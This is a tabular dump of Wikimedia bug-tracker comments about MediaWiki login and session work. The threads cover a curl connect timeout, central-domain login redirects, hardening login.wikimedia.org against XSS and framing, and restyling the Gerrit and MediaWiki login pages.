+214143,Implement connection timeout in MediaWiki's Http class,Related URL: https://gerrit.wikimedia.org/r/67095 (Gerrit Change I3e2a84ee8a759dd2bdb2fd0837e0cd5605541816),,,1370446671,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6yiimfrbfk7nv3wknn5y,task_subcomment,,True,c2,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+214138,Implement connection timeout in MediaWiki's Http class,"We already support CURLOPT_TIMEOUT. This is about supporting CURLOPT_CONNECTTIMEOUT_MS, which is what my patch does.",,,1365464975,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-6yiimfrbfk7nv3wknn5y,task_subcomment,,True,c2,1,True,,,-21,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0
+214135,Implement connection timeout in MediaWiki's Http class,"http://php.net/manual/en/function.curl-setopt.php
+
+CURLOPT_TIMEOUT
+The maximum number of seconds to allow cURL functions to execute.	
+
+CURLOPT_TIMEOUT_MS
+The maximum number of milliseconds to allow cURL functions to execute. If libcurl is built to use the standard system name resolver, that portion of the connect will still use full-second resolution for timeouts with a minimum timeout allowed of one second.
+
+Added in cURL 7.16.2. Available since PHP 5.2.3.",,,1365464894,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-6yiimfrbfk7nv3wknn5y,task_subcomment,,True,c2,1,True,,,-21,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+214131,Implement connection timeout in MediaWiki's Http class,Related URL: https://gerrit.wikimedia.org/r/58247 (Gerrit Change I6e64a8bfc58e899149463d305eac672c1e8ad2ba),,,1365464742,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6yiimfrbfk7nv3wknn5y,task_subcomment,,True,c2,1,False,,,-21,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+48903,"After login, securely redirect user through a central domain to establish a central session","To set a cookie and establish a central session for global users who login, redirect users through a central domain after login.
+
+Initial design is at:
+http://www.mediawiki.org/wiki/Auth_systems/SUL2#Redirect_on_Login
+
+--------------------------
+**Version**: master
+**Severity**: normal",High,80.0,1365107340,1374094953.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-zhg4xs3zbobbyfvdmi54,task_description,resolved,True,c2,1,True,False,True,-21,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+231892,"After login, securely redirect user through a central domain to establish a central session",This is now default on all wikis. Thanks everyone!,,,1374094953,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-zhg4xs3zbobbyfvdmi54,task_subcomment,,True,c2,1,True,,,-6,True,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+231888,"After login, securely redirect user through a central domain to establish a central session","Change 74262 merged by jenkins-bot:
+Enable central login wiki by default
+
+https://gerrit.wikimedia.org/r/74262",,,1374093436,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhg4xs3zbobbyfvdmi54,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+231884,"After login, securely redirect user through a central domain to establish a central session","Change 74262 had a related patch set uploaded by CSteipp:
+Enable central login wiki by default
+
+https://gerrit.wikimedia.org/r/74262",,,1374093203,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhg4xs3zbobbyfvdmi54,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+231881,"After login, securely redirect user through a central domain to establish a central session",Done in Ie3d6523d29ed294c9d9ad44494d2e8f78ff330e9 and follow ups.,,,1371246459,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-zhg4xs3zbobbyfvdmi54,task_subcomment,,True,c2,1,False,,,-11,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+231877,"After login, securely redirect user through a central domain to establish a central session",This seems related to bug 14736.,,,1368682512,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-zhg4xs3zbobbyfvdmi54,task_subcomment,,True,c2,1,True,,,-15,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+48902,Setup central login domain,"To complete bug 46901, we need a single domain where global users will be logged in, and all of the WMF sites can test check to see if the local wiki should allow a user to login.
+
+Because this website will have a session for every logged in user, the site should:
+* Highly restrict the javascript that can run on it
+* Minimize the amount of content and features, to reduce the risk for XSS vulnerabilities
+* Only be accessible over SSL
+* Disallow any iframing
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",High,80.0,1365107040,1368480871.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-tkdu3dmjg742ths2dvjb,task_description,resolved,True,c2,1,True,False,True,-21,True,1,0,1,1,0,1,1,1,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+231845,Setup central login domain,"(In reply to comment #6)
+> > (does CentralAuth need 'createaccount' and/or 'centralauth-merge' to create
+> > the
+> > local account during login?)
+> 
+> Yes, those will be needed.
+
+'centralauth-merge' is easy
+
+It would look like from the code that 'createaccount' isn't needed if we have 'centralauth-autoaccount' for *
+
+	public function autoCreate() {
+		global $wgGroupPermissions;
+		// Yes unless account creation is restricted on this wiki
+		return !empty( $wgGroupPermissions['*']['createaccount'] )
+			|| !empty( $wgGroupPermissions['*']['centralauth-autoaccount'] );
+	}
+
+
+Adding createaccount is going to show the registration stuff...",,,1367522992,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,True,,,-17,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,1
+231838,Setup central login domain,Related URL: https://gerrit.wikimedia.org/r/62021 (Gerrit Change I3668326cc715708eeb7ff9d8350b67dd03c2a947),,,1367522119,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+231830,Setup central login domain,Related URL: https://gerrit.wikimedia.org/r/62020 (Gerrit Change I03b88050bb253fa91240d1797c754d5084392a75),,,1367521971,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+231822,Setup central login domain,Related URL: https://gerrit.wikimedia.org/r/62002 (Gerrit Change Ieef88a12cf396bca66a0f890b0fe4b4e3223751d),,,1367516780,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+231815,Setup central login domain,"**pgehres** wrote:
+
+(In reply to comment #7)
+> At the same time it might be easier just to put some of these directly into
+> CommonSettings to begin with - we can loop to set all rights not to be kept
+> etc. Might just generally be cleaner than tens of => false on different
+> options
+
+I definitely like the idea of explicitly assigning all rights on this wiki as opposed to disabling everything that we can think of (i.e. remove ALL rights and then add back).",,,1366822877,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,False,,,-18,True,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1
+231809,Setup central login domain,"Might be worth starting a changeset in mediawiki-config for this wiki. Makes it easier to review, and it can be updated collaboratively.. :D
+
+At the same time it might be easier just to put some of these directly into CommonSettings to begin with - we can loop to set all rights not to be kept etc. Might just generally be cleaner than tens of => false on different options",,,1366822748,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,True,,,-18,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1
+231803,Setup central login domain,"(In reply to comment #5)
+
+> You'd probably also want $wgAllowUserJs and $wgAllowUserCss set to false.
+
+Yes, please.
+
+> Take away everything except 'read' from *, users, and autoconfirmed? ;)
+
+I actually do think this is a good idea. If we decide later it's desired, then we can always add rights.
+
+> (does CentralAuth need 'createaccount' and/or 'centralauth-merge' to create
+> the
+> local account during login?)
+
+Yes, those will be needed.",,,1366818402,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,True,,,-18,True,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,1
+231798,Setup central login domain,"(In reply to comment #2)
+> (In reply to comment #1)
+> > Could take away editinterface away from sysops, But that means they can't
+> > edit
+> > any message in the mediawiki ns, Which would be bad. But stops any of the
+> > edits
+> > to js/css that effects all users
+> 
+> A number of people should have access, but some number less than the
+> thousands
+> that can edit enwiki would be nice ;)
+
+Isn't that just a matter of not giving many people sysop? Or you could do as mentioned in comment #1 (remove editinterface from sysops) and give editinterface to a different, more limited group.
+
+You'd probably also want $wgAllowUserJs and $wgAllowUserCss set to false.
+
+> > > * Disallow any iframing
+> > 
+> > We do this by default these days iirc, Or at least tim has coded it.
+> 
+> There are a lot of pages (e.g., action=view for articles) that override that,
+> unfortunately. We would probably clean those up so we can disable all of
+> them.
+
+There's already $wgBreakFrames that looks like it would force anything using OutputPage::output() to always set X-Frame-Options: DENY.
+
+But be careful you don't break the iframe-based login check from Gerrit change 58924. Since it doesn't use OutputPage::output(), it should be safe from $wgBreakFrames.
+
+
+> Most of the XSS we've seen have required some input. My preference would be
+> no user controlled data.
+
+Take away everything except 'read' from *, users, and autoconfirmed? ;)
+
+(does CentralAuth need 'createaccount' and/or 'centralauth-merge' to create the local account during login?)",,,1366810616,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,True,,,-18,True,1,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+231790,Setup central login domain,"(In reply to comment #3)
+> The domain has been finalized as login.wikimedia.org.
+> 
+> It has been described as a reverse-fishbowl in that only global accounts are
+> allowed -- there will be no local accounts.
+
+Is there any other needed initial configuration?",,,1366739458,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,True,,,-19,True,1,0,0,1,0,1,1,0,0,0,1,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,1
+231784,Setup central login domain,"**pgehres** wrote:
+
+The domain has been finalized as login.wikimedia.org.
+
+It has been described as a reverse-fishbowl in that only global accounts are allowed -- there will be no local accounts.",,,1366738354,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,False,,,-19,True,0,0,0,1,0,1,1,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+231778,Setup central login domain,"(In reply to comment #1)
+> Could take away editinterface away from sysops, But that means they can't
+> edit
+> any message in the mediawiki ns, Which would be bad. But stops any of the
+> edits
+> to js/css that effects all users
+
+A number of people should have access, but some number less than the thousands that can edit enwiki would be nice ;)
+
+> > * Minimize the amount of content and features, to reduce the risk for XSS
+> > vulnerabilities
+> 
+> Depending on what context you want it to be used, eg: central place for
+> userpages, You wouldn't need many extensions that are outside the group thats
+> defaultly enabled. 
+
+Most of the XSS we've seen have required some input. My preference would be no user controlled data. If it seems best to also use it for global user profiles, we'll need to be extra paranoid about what extensions are enabled.
+
+> > * Disallow any iframing
+> 
+> We do this by default these days iirc, Or at least tim has coded it.
+
+There are a lot of pages (e.g., action=view for articles) that override that, unfortunately. We would probably clean those up so we can disable all of them.",,,1365170745,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,True,,,-21,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+231772,Setup central login domain,"(In reply to comment #0)
+> To complete bug 46901, we need a single domain where global users will be
+> logged in, and all of the WMF sites can test check to see if the local wiki
+> should allow a user to login.
+> 
+> Because this website will have a session for every logged in user, the site
+> should:
+> * Highly restrict the javascript that can run on it
+
+Could take away editinterface away from sysops, But that means they can't edit any message in the mediawiki ns, Which would be bad. But stops any of the edits to js/css that effects all users
+
+> * Minimize the amount of content and features, to reduce the risk for XSS
+> vulnerabilities
+
+Depending on what context you want it to be used, eg: central place for userpages, You wouldn't need many extensions that are outside the group thats defaultly enabled. 
+
+> * Disallow any iframing
+
+We do this by default these days iirc, Or at least tim has coded it.",,,1365128885,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,False,,,-21,True,1,0,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+48700,New login screen is ugly,"The new login screen for Gerrit 2.6-rc0-76-g52fb5ae is unstyled and ugly.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: major",High,80.0,1364580600,1365109428.0,PHID-USER-oetk6bbl6omm354ejz3b,False,,False,PHID-TASK-ep3bdm6pdpnvsoetj6ph,task_description,resolved,True,c2,1,True,False,True,-22,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+219407,New login screen is ugly,And we're got this live. Much better now :),,,1365109428,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ep3bdm6pdpnvsoetj6ph,task_subcomment,,True,c2,1,True,,,-21,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+219400,New login screen is ugly,"Gerrit upstream commits went in via the detour of the “stable-2.6” branch:
+https://gerrit-review.googlesource.com/#/c/44131/
+https://gerrit-review.googlesource.com/#/c/44132/",,,1365069108,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-ep3bdm6pdpnvsoetj6ph,task_subcomment,,True,c2,1,False,,,-21,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+219392,New login screen is ugly,"Gerrit does not allow to style that page yet.
+
+The upstream commit to include the site's css is at:
+https://gerrit-review.googlesource.com/#/c/44091/
+
+The patch to make our default gerrit header look nice is at:
+https://gerrit-review.googlesource.com/#/c/44092/
+
+Once those have been merged, patches for our downstream adaption for
+the LDAP login page are at:
+https://gerrit.wikimedia.org/r/#/c/56705
+https://gerrit.wikimedia.org/r/#/c/56706",,,1364598344,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-ep3bdm6pdpnvsoetj6ph,task_subcomment,,True,c2,1,False,,,-22,True,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+48333,Make new user login/account creation the only version after testing and MW namespace cleanup,"The account creation (ACUX) and user login changes in E3Experiments have been removed to core.  However, they only apply when a useAgora flag is in the URL.  This allows testing and MW message cleanup where necessary.
+
+When this is done, useAgora should be removed and Agora made the only version.
+
+--------------------------
+**Version**: 1.21.x
+**Severity**: normal",High,80.0,1363719780,1379900275.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_description,resolved,True,c2,1,False,False,True,-24,True,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+221294,Make new user login/account creation the only version after testing and MW namespace cleanup,"Yes, thanks.  it was fixed when https://gerrit.wikimedia.org/r/#/c/67233/ was merged.  The config patch removes dead code.",,,1379900275,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,3,False,,,3,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0
+221288,Make new user login/account creation the only version after testing and MW namespace cleanup,Is this bug now resolved/fixed?,,,1379872699,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,3,True,,,3,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0
+221282,Make new user login/account creation the only version after testing and MW namespace cleanup,"Change 81174 merged by jenkins-bot:
+Remove unused UseVForm settings variables.
+
+https://gerrit.wikimedia.org/r/81174",,,1379627207,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,3,False,,,3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+221277,Make new user login/account creation the only version after testing and MW namespace cleanup,"Change 81174 had a related patch set uploaded by Spage:
+Remove unused UseVForm settings variables.
+
+https://gerrit.wikimedia.org/r/81174",,,1377568439,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+221271,Make new user login/account creation the only version after testing and MW namespace cleanup,Related URL: https://gerrit.wikimedia.org/r/67233 (Gerrit Change I50f25583c3aa9a4a263fb40f50256f92c18ddb4d),,,1370498143,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+221264,Make new user login/account creation the only version after testing and MW namespace cleanup,Related URL: https://gerrit.wikimedia.org/r/67182 (Gerrit Change I0c8115245ed93f15394ec97847fc97981c13306b),,,1370473701,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+221259,Make new user login/account creation the only version after testing and MW namespace cleanup,"As part of this, we should consolidate the styles for these forms into resources/mediawiki.special.  Right now the new styles are there (if they're specific to login/create account), but there are old ones in skins/ (for example, the Monobook background color mentioned at https://bugzilla.wikimedia.org/show_bug.cgi?id=47698#c14).
+
+We can still use skinStyles where appropriate.",,,1369856086,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-13,True,0,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
